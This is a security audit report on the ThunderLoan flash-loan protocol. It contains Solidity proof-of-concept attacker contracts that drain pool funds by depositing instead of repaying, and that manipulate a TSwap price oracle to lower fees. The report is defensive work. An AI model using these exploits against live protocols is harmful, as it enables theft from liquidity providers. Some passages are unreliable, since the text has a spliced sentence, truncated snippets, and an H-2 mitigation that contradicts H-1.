Protocol Audit Report

Ateed

May 17, 2026

Protocol Audit Report

Version 1.0

Ateed

May 17, 2026

Protocol Audit Report

Ateed

May 17, 2026

Prepared by: Ateed Lead Auditors: - Ateed group

Table of Contents

Protocol Summary

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how mTo calculate the fee, we're using the famous on-chain TSwap price oracle.uch money they borrow.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Ateed team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

#– interfaces | #– IFlashLoanReceiver.sol | #– IPoolFactory.sol | #– ITSwapPool.sol | #– IThunderLoan.sol #– protocol | #– AssetToken.sol | #– OracleUpgradeable.sol | #– ThunderLoan.sol #– upgradedProtocol #– ThunderLoanUpgraded.sol

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

ThunderLoan is a flash loan protocol built on a UUPS upgradeable proxy pattern, allowing users to borrow ERC20 tokens within a single transaction for a fee calculated against WETH price via a TSwap oracle.

This audit was conducted by [Ateed] on [7-May-2026].

Issues found

Severity	Count
High	3
Medium	1
Low	1
Informational	3
Total	**8**

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchange` in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the exchangeRate is responsible for calculating the exchange rate between asset tokens and underlying tokens. In a way it's responsible for keeping track of how many fees to give liquidity providers.

However, the deposit function updates this rate without collecting any fees!

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllo
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @Audit-High
    // uint256 calculatedFee = getCalculatedFee(token, amount);
    // assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

Impact There are several impacts to this bug: 1. The redeem function is blocked, because the protocol thinks the amount to be redeemed is more than it's balance. 2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concept 1. LP deposits 2. User takes out a flash loan 3. It is now impossible for LP to redeem

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
 function testRedeemAfterLoan() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = AMOUNT * 10;
    uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);

    vm.startPrank(user);
    thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
    vm.stopPrank();

    uint256 amountToRedeem = type(uint256).max;
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, amountToRedeem);
}
```

Recommended Mitigation Remove the incorrect updateExchangeRate lines from deposit:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllo
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

The key changes are:

```
- Removed uint256 calculatedFee = getCalculatedFee(token, amount);
- Removed assetToken.updateExchangeRate(calculatedFee);
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of`ThunderLoan::repay` users can steal all funds from the protocol

Description: By calling the deposit function to repay a loan, an attacker can meet the flashloan's repayment check, while being allowed to later redeem their deposited tokens, stealing the loan funds.

Impact: This exploit drains the liquidity pool for the flash loaned token, breaking internal accounting and stealing all funds.

Proof of Concept:

1. Attacker executes a flashloan

2. Borrowed funds are deposited into ThunderLoan via a malicious contract's executeOperation function
3. Flashloan check passes due to check vs starting AssetToken Balance being equal to the post deposit amount
4. Attacker is able to call redeem on ThunderLoan to withdraw the deposited tokens after the flash loan as resolved.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
    uint256 amountToBorrow = 50e18;
    DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
    uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
    vm.startPrank(user);
    tokenA.mint(address(dor), fee);
    thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
    dor.redeemMoney();
    vm.stopPrank();

    assert(tokenA.balanceOf(address(dor)) > fee);
}

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
```

```
        s_token.approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: ThunderLoan could prevent deposits while an AssetToken is currently flash loaning.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllo
+   if (s_currentlyFlashLoaning[token]) {
+       revert ThunderLoan__CurrentlyFlashLoaning();
+   }
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

This ensures the exchange rate is only updated when actual fees are collected (during flash loan repayments), not during deposits.

[H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order: `javascript uint256 private s_feePrecision; uint256 private s_flashLoanFee; // 0.3% ETH fee` However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order. `javascript uint256 private s_flashLoanFee; // 0.3% ETH fee` Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the

`s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
    // You'll need to import `ThunderLoanUpgraded` as well
    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol"

    function testUpgradeBreaks() public {
            uint256 feeBeforeUpgrade = thunderLoan.getFee();
            vm.startPrank(thunderLoan.owner());
            ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
            thunderLoan.upgradeTo(address(upgraded));
            uint256 feeAfterUpgrade = thunderLoan.getFee();

            assert(feeBeforeUpgrade != feeAfterUpgrade);
        }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In ThunderLoanUpgraded.sol:

Medium

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept: The following all happens in 1 transaction.

1.User takes a flash loan from ThunderLoan for 1000 tokenA. They are charged the original fee fee1. During the flash loan, they do the following:

2.User sells 1000 tokenA, tanking the price.

Instead of repaying right away, the user takes out another flash loan for another 1000 tokenA.

Due to the fact that the way ThunderLoan calculates price based on the TSwap-Pool this second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }
```

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
function testOracleManipulation() public {
// 1. Setup contracts
thunderLoan = new ThunderLoan();
tokenA = new ERC20Mock();
proxy = new ERC1967Proxy(address(thunderLoan), "");
BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
// Create a TSwap Dex between WETH/ TokenA and initialize Thunder Loan
address tswapPool = pf.createPool(address(tokenA));
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));

// 2. Fund TSwap
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
tokenA.approve(address(tswapPool), 100e18);
weth.mint(liquidityProvider, 100e18);
weth.approve(address(tswapPool), 100e18);
BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
vm.stopPrank();

// 3. Fund ThunderLoan
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
vm.startPrank(liquidityProvider);
tokenA.mint(liquidityProvider, 100e18);
tokenA.approve(address(thunderLoan), 100e18);
thunderLoan.deposit(tokenA, 100e18);
vm.stopPrank();

uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
console2.log("Normal Fee is:", normalFeeCost);

// 4. Execute 2 Flash Loans
uint256 amountToBorrow = 50e18;
```

```
MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(
    address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(toker
);

vm.startPrank(user);
tokenA.mint(address(flr), 100e18);
thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, ""); // the executeOperation
    // actually call flashloan a second time.
vm.stopPrank();

uint256 attackFee = flr.feeOne() + flr.feeTwo();
console2.log("Attack Fee is:", attackFee);
assert(attackFee < normalFeeCost);
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
ThunderLoan thunderLoan;
address repayAddress;
BuffMockTSwap tswapPool;
bool attacked;
uint256 public feeOne;
uint256 public feeTwo;

// 1. Swap TokenA borrowed for WETH
// 2. Take out a second flash loan to compare fees
constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
    tswapPool = BuffMockTSwap(_tswapPool);
    thunderLoan = ThunderLoan(_thunderLoan);
    repayAddress = _repayAddress;
}

function executeOperation(
    address token,
    uint256 amount,
    uint256 fee,
    address, /*initiator*/
    bytes calldata /*params*/
)
    external
    returns (bool)
{
    if (!attacked) {
        feeOne = fee;
        attacked = true;
        uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18)
        IERC20(token).approve(address(tswapPool), 50e18);
```

```
            // Tanks the price:
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.time
            // Second Flash Loan!
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");
            // We repay the flash loan via transfer since the repay function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // We repay the flash loan via transfer since the repay function won't let us!
            IERC20(token).transfer(address(repayAddress), amount + fee);
              }
        return true;
    }
}
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle. # Low ### [L-1] Missing Event Emission in `updateFlashLoanFee` Allows State Changes To Go Undetected to off-chain

Description: The `updateFlashLoanFee` function updates the critical state variable `s_flashLoanFee` without emitting an event. Off-chain services, monitoring tools, and users relying on event logs will have no way to detect or react to fee changes without scanning the entire transaction history.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
@>    s_flashLoanFee = newFee; // No event emitted
}
```

Impact: - Off-chain monitoring systems (e.g., The Graph, dApps frontends) cannot index fee changes.
- Users and integrators cannot react programmatically to fee updates.
- Reduces protocol transparency and auditability.

Recommended Mitigation: Define and emit an event whenever `s_flashLoanFee` is updated:

```
+ event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);

function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
+    emit FlashLoanFeeUpdated(s_flashLoanFee, newFee);
```

```
    s_flashLoanFee = newFee;
}
```

Informational

[I-1] `repay` Visibility Should Be `external` Instead of `public`

Description: `repay` is declared `public` but is never called internally. `external` is cheaper on gas since it reads args directly from calldata.

Recommendation:

```
function repay(IERC20 token, uint256 amount) external { ... }
```

[I-2] `s_feePrecision` Should Be `constant or immutable`

Description: `s_feePrecision` never changes after deployment but is declared as a regular storage variable, wasting a storage slot and costing extra gas on every read.

Recommendation:

```
uint256 private constant s_feePrecision = 1e18;
```

[I-3] Missing Zero Address Validation in `__Oracle_init`

Description: `poolFactoryAddress` is never checked against `address(0)`. If passed by mistake, the contract deploys with a broken oracle and would require a full redeployment (UUPS).

Recommendation:

```
function __Oracle_init_unchained(address poolFactoryAddress) internal onlyInitializing {
+    if (poolFactoryAddress == address(0)) revert ThunderLoan__ZeroAddress();
    s_poolFactory = poolFactoryAddress;
}
```